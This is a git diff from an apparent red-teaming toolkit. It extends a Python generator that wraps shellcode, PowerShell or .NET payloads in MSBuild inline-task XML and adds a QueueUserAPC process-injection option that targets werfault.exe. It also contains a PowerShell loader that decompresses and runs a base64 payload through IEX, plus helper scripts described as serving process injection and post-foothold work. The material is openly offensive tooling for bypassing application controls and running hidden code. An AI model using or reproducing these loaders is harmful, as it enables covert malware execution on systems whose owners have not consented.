diff --git a/red-teaming/generateMSBuildXML.py b/red-teaming/generateMSBuildXML.py
index f4c298e..e694429 100644
--- a/red-teaming/generateMSBuildXML.py
+++ b/red-teaming/generateMSBuildXML.py
@@ -28,7 +28,7 @@ import binascii
import argparse
-def getCompressedPayload(filePath):
+def getCompressedPayload(filePath, returnRaw = False):
out = io.BytesIO()
encoded = ''
with open(filePath, 'rb') as f:
@@ -38,57 +38,99 @@ def getCompressedPayload(filePath):
fo.write(inp)
encoded = base64.b64encode(out.getvalue())
+ if returnRaw:
+ return encoded
powershell = "$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('{}')); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();".format(
encoded.decode()
)
return powershell
-def getInlineTask(payload, _format):
+def getPayloadCode(payload):
+ return f'shellcode = "{payload}";'
+ payloadCode = '\n'
+
+ N = 50000
+ codeSlices = map(lambda i: payload[i:i+N], range(0, len(payload), N))
+
+ variables = []
+
+ num = 1
+ for code in codeSlices:
+ payloadCode += f'string shellcode{num} = "{code}";\n'
+ variables.append(f'shellcode{num}')
+ num += 1
+
+ concat = 'shellcode = ' + ' + '.join(variables) + ';\n'
+ payloadCode += concat
+
+ return payloadCode
+
+def getInlineTask(module, payload, _format, apc, targetProcess):
templateName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15)))
+ if len(module) > 0:
+ templateName = module
+
taskName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15)))
+ payloadCode = getPayloadCode(payload.decode())
+ sys.stderr.write(payloadCode + '\n')
launchCode = ''
if _format == 'exe':
- exeLaunchCode = string.Template('''
-
-
-
-
-
-
+
+
+
-
''').safe_substitute(
- payload2 = base64.b64encode(payload.encode()).decode()
+
+ ''').safe_substitute(
+ payloadCode = payloadCode
)
-
launchCode = exeLaunchCode
elif _format == 'raw':
+ shellcodeLoader = ''
- foo = str(binascii.hexlify(payload), 'ascii')
- fooarr = ['0x{}'.format(foo[i:i+2]) for i in range(0, len(foo), 2)]
- encodedPayload = ' '
-
- for i in range(len(fooarr)):
- if i % 32 == 0 and i > 0:
- encodedPayload += '\n '
- encodedPayload += '{}, '.format(fooarr[i])
-
- encodedPayload = encodedPayload.strip()[:-1]
-
- shellcodeLoader = string.Template('''
+ if not apc:
+ shellcodeLoader = string.Template('''
-
''').safe_substitute(
+
+ ''').safe_substitute(
+ templateName = templateName,
+ payloadCode = payloadCode
+ )
+ else:
+ #
+ # The below MSBuild template comes from:
+ # https://github.com/infosecn1nja/MaliciousMacroMSBuild
+ #
+ shellcodeLoader = string.Template('''
+
+
+
+ ''').safe_substitute(
templateName = templateName,
- payload2 = encodedPayload,
- payloadSize = len(payload)
+ payloadCode = payloadCode,
+ targetProcess = targetProcess
)
launchCode = shellcodeLoader
@@ -157,15 +418,33 @@ def getInlineTask(payload, _format):
-
''').safe_substitute(
+
+ ''').safe_substitute(
templateName = templateName,
- payload2 = base64.b64encode(payload.encode()).decode()
+ payloadCode = payloadCode
)
launchCode = powershellLaunchCode
@@ -200,7 +480,6 @@ def getInlineTask(payload, _format):
$launchCode
-
''').safe_substitute(
taskName = taskName,
@@ -265,20 +544,38 @@ def minimize(output):
'lpThreadId' : 'p11',
'dwMilliseconds' : 'p12',
'hHandle' : 'p13',
+ 'processpath' : 'p14',
+ 'shellcode' : 'p15',
+ 'resultPtr' : 'p16',
+ 'bytesWritten' : 'p17',
+ 'resultBool' : 'p18',
+ 'ThreadHandle' : 'p19',
+ 'PAGE_READWRITE' : 'p20',
+ 'PAGE_EXECUTE_READ' : 'p21',
}
- for k, v in variables.items():
- output = output.replace(k, v)
+ # Variables renaming tends to corrupt Base64 streams.
+ #for k, v in variables.items():
+ # output = output.replace(k, v)
return output
def opts(argv):
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] ')
parser.add_argument('inputFile', help = 'Input file to be encoded within XML. May be either Powershell script, raw binary Shellcode or .NET Assembly (PE/EXE) file.')
+
+ parser.add_argument('-o', '--output', metavar='PATH', default='', type=str, help = 'Output path where to write generated script. Default: stdout')
+ parser.add_argument('-n', '--module', metavar='NAME', default='', type=str, help = 'Specifies custom C# module name for the generated Task (for needs of shellcode loaders such as DotNetToJScript or Donut). Default: auto generated name.')
parser.add_argument('-m', '--minimize', action='store_true', help = 'Minimize the output XML file.')
parser.add_argument('-b', '--encode', action='store_true', help = 'Base64 encode output XML file.')
- parser.add_argument('-e', '--exe', action='store_true', help = 'Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!')
- parser.add_argument('-r', '--raw', action='store_true', help = 'Specified input file is a raw Shellcode to be injected in self process in a separate Thread.')
+ parser.add_argument('-e', '--exe', action='store_true',
+ help = 'Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!')
+ parser.add_argument('-r', '--raw', action='store_true', help = 'Specified input file is a raw Shellcode to be injected in self process in a separate Thread (VirtualAlloc + CreateThread)')
+ parser.add_argument('--queue-apc', action='store_true',
+ help = 'If --raw was specified, generate C# code template with CreateProcess + WriteProcessMemory + QueueUserAPC process injection technique instead of default CreateThread.')
+ parser.add_argument('--target-process', metavar='PATH', default=r'%windir%\system32\werfault.exe',
+ help = r'This option specifies target process path for remote process injection in --queue-apc technique. May use environment variables. May also contain command line for spawned process, example: --target-process "%%windir%%\system32\werfault.exe -l -u 1234"')
+ parser.add_argument('--only-csharp', action='store_true', help = 'Return generated C# code instead of MSBuild\'s XML.')
args = parser.parse_args()
@@ -286,6 +583,8 @@ def opts(argv):
sys.stderr.write('[!] --exe and --raw options are mutually exclusive!\n')
sys.exit(-1)
+ args.target_process = args.target_process.replace("^%", '%')
+
return args
def main(argv):
@@ -296,7 +595,7 @@ def main(argv):
''')
if len(argv) < 2:
- print('Usage: ./generateMSBuildXML.py ')
+ print('Usage: ./generateMSBuildXML.py [options] ')
sys.exit(-1)
args = opts(argv)
@@ -325,17 +624,29 @@ def main(argv):
if args.inputFile.endswith('.exe'):
return False
- payload = getCompressedPayload(args.inputFile)
+ payload = getCompressedPayload(args.inputFile, _format != 'powershell')
+ output = getInlineTask(args.module, payload, _format, args.queue_apc, args.target_process)
- output = getInlineTask(payload, _format)
+ if args.only_csharp:
+ m = re.search(r'\<\!\[CDATA\[(.+)\]\]\>', output, re.M|re.S)
+ if m:
+ output = m.groups(0)[0]
if args.minimize:
output = minimize(output)
if args.encode:
- print(base64.b64encode(output))
+ if len(args.output) > 0:
+ with open(args.output, 'w') as f:
+ f.write(base64.b64encode(output))
+ else:
+ print(base64.b64encode(output))
else:
- print(output)
+ if len(args.output) > 0:
+ with open(args.output, 'w') as f:
+ f.write(output)
+ else:
+ print(output)
msbuildPath = r'%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe'
if 'PROGRAMFILES(X86)' in os.environ:
diff --git a/windows/Find-CLSIDForProgID.ps1 b/windows/Find-CLSIDForProgID.ps1
new file mode 100644
index 0000000..ac8841f
--- /dev/null
+++ b/windows/Find-CLSIDForProgID.ps1
@@ -0,0 +1,3 @@
+function Find-CLSIDForProgID($ProgId) {
+ Get-ChildItem REGISTRY::HKEY_CLASSES_ROOT\CLSID -Include PROGID -Recurse | where {$_.GetValue("") -match $ProgId }
+}
\ No newline at end of file
diff --git a/windows/PE-library b/windows/PE-library
index fcfe1e3..fb7aeee 160000
--- a/windows/PE-library
+++ b/windows/PE-library
@@ -1 +1 @@
-Subproject commit fcfe1e3a40f726e86a1f89e9627055a43b2604de
+Subproject commit fb7aeee8438b959099b01e38eadce917849ed488
diff --git a/windows/README.md b/windows/README.md
index 88b43b5..c4ebc2f 100644
--- a/windows/README.md
+++ b/windows/README.md
@@ -3,6 +3,10 @@
- **`awareness.bat`** - Little and quick Windows Situational-Awareness set of commands to execute after gaining initial foothold (coming from APT34: https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html ) ([gist](https://gist.github.com/mgeeky/237b48e0bb6546acb53696228ab50794))
+- **`Find-CLSIDForProgID.ps1`** - Tries to locate COM object's `ProgID` based on a given CLSID.
+
+- **`find-system-and-syswow64-binaries.py`** - Finds files with specified extension in both System32 and SysWOW64 and then prints their intersection. Useful for finding executables (for process injection purposes) that reside in both directories (such as `WerFault.exe`)
+
- **`Force-PSRemoting.ps1`** - Forcefully enable WinRM / PSRemoting. [gist](https://gist.github.com/mgeeky/313c22def5c86d7a529f41e5b6ff79b8)
- **`GlobalProtectDisable.cpp`** - Global Protect VPN Application patcher allowing the Administrator user to disable VPN without Passcode. ([gist](https://gist.github.com/mgeeky/54ac676226a1a4bd9fd8653e24adc2e9))
diff --git a/windows/find-system-and-syswow64-binaries.py b/windows/find-system-and-syswow64-binaries.py
new file mode 100644
index 0000000..f0535b9
--- /dev/null
+++ b/windows/find-system-and-syswow64-binaries.py
@@ -0,0 +1,36 @@
+#!/usr/bin/python3
+
+import sys
+import os
+import glob
+
+def main(argv):
+ if len(argv) == 1:
+ print('Usage: ./script ')
+ return False
+
+ ext = argv[1]
+ system32 = set()
+ syswow64 = set()
+ p1 = os.path.join(os.environ['Windir'], 'System32' + os.sep + '*.' + ext)
+ p2 = os.path.join(os.environ['Windir'], 'SysWOW64' + os.sep + '*.' + ext)
+
+ sys.stderr.write('[.] System32: ' + p1 + '\n')
+ sys.stderr.write('[.] SysWOW64: ' + p2 + '\n')
+
+ for file in glob.glob(p1):
+ system32.add(os.path.basename(file))
+
+ for file in glob.glob(p2):
+ syswow64.add(os.path.basename(file))
+
+ commons = system32.intersection(syswow64)
+ sys.stderr.write(f"[.] Found {len(system32)} files in System32\n")
+ sys.stderr.write(f"[.] Found {len(syswow64)} files in SysWOW64\n")
+ sys.stderr.write(f"[.] Intersection of these two sets: {len(commons)}\n")
+
+ for f in commons:
+ print(f)
+
+if __name__ == '__main__':
+ main(sys.argv)
\ No newline at end of file